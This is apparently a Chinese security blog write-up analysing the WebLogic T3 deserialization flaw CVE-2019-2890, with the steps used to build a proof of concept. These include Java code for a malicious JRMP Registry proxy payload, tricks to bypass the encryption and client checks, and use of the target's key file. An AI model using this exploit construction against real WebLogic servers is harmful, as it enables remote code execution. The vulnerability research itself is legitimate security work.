0x01 起因

本文仅记录一下自己调试2890的一些过程，网上已经有两篇公开的文章了，主要是因为要写年会PPT，然后自己上手调了一下这个漏洞，发现真的是个弟中弟的漏洞，感觉就是个混kpi的漏洞。

0x02 漏洞原理

T3反序列化关键字还是 readObject ，所以补丁下来的第一时间，我全部反编译了，但是由于之前没有研究过weblogic，历史补丁没怎么留存，如果通过diff对比更新的方式会很快定位，所以只能反编译后搜。

之前T3反序列化的入口有 StreamMessageImpl、MarshalledObject 等，而且修复方式也是采用 resolveClass 或者 resolveProxyClass 处增加黑名单的校验的方式来修复，因此基于这两点实际上很好定位漏洞位置：
1、入口有 readObject 反序列化，
2、resolveClass 或者 resolveProxyClass 处有名单校验，且类不是之前修复过的类。

基于上述这两种情况很快定位到了 PersistenContext 这个类。

再回头翻一下 weblogic 原来的代码，嗯确实入口在这，在 readSubject 方法中，首先会读取var1中的反序列化数据，然后调用EncryptionUtil.decrypt方法进行解密，最后再触发反序列化。

因此构造Poc的时候，需要用PersistenContext这个类的 writeSubject 方法来生成特殊的序列化对象，让 readSubject 方法反序列化的时候成功触发。

0x03 漏洞利用

1.导入jar

网上有两篇文章都说了这么个构造思路，但是我阅读学习的时候，死在了导入jar这个难题下，因此在漏洞利用的开头，我列出几个jar文件，测试环境 weblogic 10.3.6 ，可能weblogic 12 jar名字有所不同。

com.bea.core.logging_1.9.0.0.jar
com.bea.core.management.core_2.9.0.1.jar
com.oracle.core.weblogic.msgcat_1.2.0.0.jar
cryptoj.jar
glassfish.jaxb_1.1.0.0_2-1-14.jar
weblogic.jar
wlthint3client.jar

2.重写PersistenContext类

因为需要用到 PersinstenContext 这个类，因此序列化的时候肯定要将其实例化，但是在下图代码位置有个if检查。

在这个if检查的结果会抛出 com.bea.core.security.managers.NotSupportedException 的异常导致反序列化中止。

因此这里解决办法就是绕过它，把它注释掉。

3.改造writeSubject中的writeObject

原先在 writeSubject 中正常写入的对象如下图所示。

这里我们需要将其替换掉，改成我们自己恶意对象，我的做法是构造恶意的JRMP对象。

public static Registry getObject(String command) throws Exception {
            int sep = command.indexOf(58);
            String host;
            int port;
            if (sep < 0) {
                port = (new Random()).nextInt(65535);
                host = command;
            } else {
                host = command.substring(0, sep);
                port = Integer.valueOf(command.substring(sep + 1));
            }

            ObjID id = new ObjID((new Random()).nextInt());
            TCPEndpoint te = new TCPEndpoint(host, port);
            UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
            RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
            Registry proxy = (Registry)Proxy.newProxyInstance(ysoserial.payloads.JRMPClient.class.getClassLoader(), new Class[]{Registry.class}, obj);
            return proxy;
        }

4.改造加密问题

原先我们看到了，反序列化过程中有个解密过程，所以这里需要加密一下。首先加密过程有个KernelStatus.isServer()的判断。

if (KernelStatus.isServer()) {
            var5 = EncryptionUtil.encrypt(var5);
        }

会说我直接改造一下，把if去掉，让他直接EncryptionUtil.encrypt不就好了吗，但是跟进去之后会发现还是有个 Kernel.isServer() 的的判断。

public static byte[] encrypt(byte[] var0) {
        return Kernel.isServer() ? getEncryptionService().encryptBytes(var0) : var0;
    }

因此这里需要调用KernelStatus.setIsServer(true);，将状态设置为true。

当然这里还有另一种解法，我们实际上可以直接调用

var5 = EncryptionUtil.getEncryptionService().encryptBytes((byte []) var5);

但是有个小问题 getEncryptionService 是一个 private 方法，你需要重写一个把它变成public就可以直接调用了。

所以我重写了一个 EncryptionUtil ，并且将 getEncryptionService 设置为了 public 。

5.解决加密key的问题

在 weblogic.security.internal.SerializedSystemIni 存在一个加密的key，这个key实际上每个weblogic都不一样，所以官方给这个漏洞评价为授权状态下getshell，也是和之前的T3反序列化不太一样的地方，这里的解决办法就是你要复现那个weblogic，就找到他的 SerializedSystemIni.dat 文件，并且在自己的目录下创建一个 security 目录，放进去就好了。

6.最后一个小问题

在序列化的时候会出现卡死状态的，跟进之后发现原因在weblogic.security.subject.SubjectManager这个类里面。

在这个类里面的 getSubjectManager 方法会有一个 ceClient 的判断，如果为fasle就不会直接返回 ceSubjectManager 对象，因此需要让他为 true 。

而这个鬼东西默认情况下是false。

private static final boolean ceClient = "true".equalsIgnoreCase(System.getProperty("com.bea.core.internal.client", "false"));

因此只需要System.setProperty("com.bea.core.internal.client","true");让他过去即可。

最后还是弹个计算器吧。

0x04 漏洞修复

一如既往的老办法在resolveClass处增加黑名单检查。

0x05 调试记录

调试过程代码都放到这里了，简单来说没啥用的洞。

Reference

Weblogic t3反序列化漏洞(CVE-2019-2890)分析

WebLogic 反序列化漏洞(CVE-2019-2890)分析